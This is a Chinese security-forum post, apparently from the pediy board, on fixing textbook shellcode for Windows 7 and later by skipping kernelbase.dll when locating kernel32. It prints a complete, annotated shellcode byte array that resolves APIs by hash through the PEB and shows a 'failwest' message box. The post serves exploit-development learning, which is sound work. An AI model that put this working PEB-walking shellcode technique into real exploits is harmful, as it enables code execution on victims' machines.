昨天发帖子之后,通过搜索,找到了类似问题的帖子:
https://bbs.pediy.com/thread-182499.htm
翻看帖子的时候,才知道原来win7下 模块初始化链表InInitializationOrderModuleList 中按顺序存放着PE载入运行时初始化模块的信息,第二个链表节点不是kernel32.dll了,第二个是kernelbase.dll,第三个才是kernel32.dll。
那就试试改变一下shellcode的代码吧。
参考了Cryin的https://bbs.pediy.com/thread-122260.htm帖子,以其中的测试代码为核心,对0day2书本中的代码进行修改,经过耐心调试,得到新的shellcode代码,功能和书本上的一样,算是强迫症患者解决方案了。这份完整Shellcode代码起码可以跟随书本继续往下在win7以上的系统中进行实验。具体如下:
char popup_general[] =
"\x90"// NOP
"\xFC"
"\x68\x6A\x0A\x38\x1E"// PUSH 1E380A6A
"\x68\x63\x89\xD1\x4F"// PUSH 4FD18963
"\x68\x32\x74\x91\x0C"// PUSH 0C917432
"\x8B\xF4"// MOV ESI,ESP
"\x8D\x7E\xF4"// LEA EDI,DWORD PTR DS:[ESI-C]
"\x33\xDB"// XOR EBX,EBX
"\xB7\x04"// MOV BH,4
"\x2B\xE3"// SUB ESP,EBX
"\x66\xBB\x33\x32"// MOV BX,3233
"\x53"// PUSH EBX
"\x68\x75\x73\x65\x72"// PUSH 72657375
"\x54"// PUSH ESP
"\x33\xD2"// XOR EDX,EDX
"\x57" // push edi ; 新增修改支持WIN7以上系统代码
"\x64\x8B\x5A\x30"// MOV EBX,DWORD PTR FS:[EDX+30]
"\x8B\x4B\x0C"// MOV ECX,DWORD PTR DS:[EBX+C]
"\x8B\x49\x1C"// MOV ECX,DWORD PTR DS:[ECX+1C]
"\x8B\x79\x20" // mov edi,dword ptr ds:[ecx+0x20] ; 新增修改支持WIN7以上系统代码
"\x66\x39\x57\x18" // cmp word ptr ds:[edi+0x18],dx ; 新增修改支持WIN7以上系统代码
"\x74\x04" // jnz short 3-Shellc.009F13D6
"\x8B\x09" // mov ecx,dword ptr ds:[ecx] ; 新增修改支持WIN7以上系统代码
"\xEB\xF3" // jmp short 3-Shellc.011713D6
"\x5F" // pop edi
// "\x8B\x09"// MOV ECX,DWORD PTR DS:[ECX] ; 新增修改支持WIN7以上系统代码
"\x8B\x69\x08"// MOV EBP,DWORD PTR DS:[ECX+8]
"\xAD"// LODS DWORD PTR DS:[ESI]
"\x3D\x6A\x0A\x38\x1E"// CMP EAX,1E380A6A
"\x75\x05"// JNZ SHORT popup_co.00401070
"\x95"// XCHG EAX,EBP
"\xFF\x57\xF8"// CALL DWORD PTR DS:[EDI-8]
"\x95"// XCHG EAX,EBP
"\x60"// PUSHAD
"\x8B\x45\x3C"// MOV EAX,DWORD PTR SS:[EBP+3C]
"\x8B\x4C\x05\x78"// MOV ECX,DWORD PTR SS:[EBP+EAX+78]
"\x03\xCD"// ADD ECX,EBP
"\x8B\x59\x20"// MOV EBX,DWORD PTR DS:[ECX+20]
"\x03\xDD"// ADD EBX,EBP
"\x33\xFF"// XOR EDI,EDI
"\x47"// INC EDI
"\x8B\x34\xBB"// MOV ESI,DWORD PTR DS:[EBX+EDI*4]
"\x03\xF5"// ADD ESI,EBP
"\x99"// CDQ
"\x0F\xBE\x06"// MOVSX EAX,BYTE PTR DS:[ESI]
"\x3A\xC4"// CMP AL,AH
"\x74\x08"// JE SHORT popup_co.00401097
"\xC1\xCA\x07"// ROR EDX,7
"\x03\xD0"// ADD EDX,EAX
"\x46"// INC ESI
"\xEB\xF1"// JMP SHORT popup_co.00401088
"\x3B\x54\x24\x1C"// CMP EDX,DWORD PTR SS:[ESP+1C]
"\x75\xE4"// JNZ SHORT popup_co.00401081
"\x8B\x59\x24"// MOV EBX,DWORD PTR DS:[ECX+24]
"\x03\xDD"// ADD EBX,EBP
"\x66\x8B\x3C\x7B"// MOV DI,WORD PTR DS:[EBX+EDI*2]
"\x8B\x59\x1C"// MOV EBX,DWORD PTR DS:[ECX+1C]
"\x03\xDD"// ADD EBX,EBP
"\x03\x2C\xBB"// ADD EBP,DWORD PTR DS:[EBX+EDI*4]
"\x95"// XCHG EAX,EBP
"\x5F"// POP EDI
"\xAB"// STOS DWORD PTR ES:[EDI]
"\x57"// PUSH EDI
"\x61"// POPAD
"\x3D\x6A\x0A\x38\x1E"// CMP EAX,1E380A6A
"\x75\xA9"// JNZ SHORT popup_co.00401063
"\x33\xDB"// XOR EBX,EBX
"\x53"// PUSH EBX
"\x68\x77\x65\x73\x74"// PUSH 74736577
"\x68\x66\x61\x69\x6C"// PUSH 6C696166
"\x8B\xC4"// MOV EAX,ESP
"\x53"// PUSH EBX
"\x50"// PUSH EAX
"\x50"// PUSH EAX
"\x53"// PUSH EBX
"\xFF\x57\xFC"// CALL DWORD PTR DS:[EDI-4]
"\x53"// PUSH EBX
"\xFF\x57\xF8";// CALL DWORD PTR DS:[EDI-8]
;
再次用ollydbg加载调试,下断点检查edi指向的API函数入口地址,如图9所示
图9 搜索并记录下的API函数入口地址正确了
对比图9和图8可以看见,图8其实显示的是kernelba.LoadLibraryA而不是Kernel32.LoadLibraryA了。而当时却没有注意到这点,没发现本质的问题是根本没定位到kernel32的基址导致的问题,MessageBox可以调用,只是碰巧可以。
至此,问题完美解决了。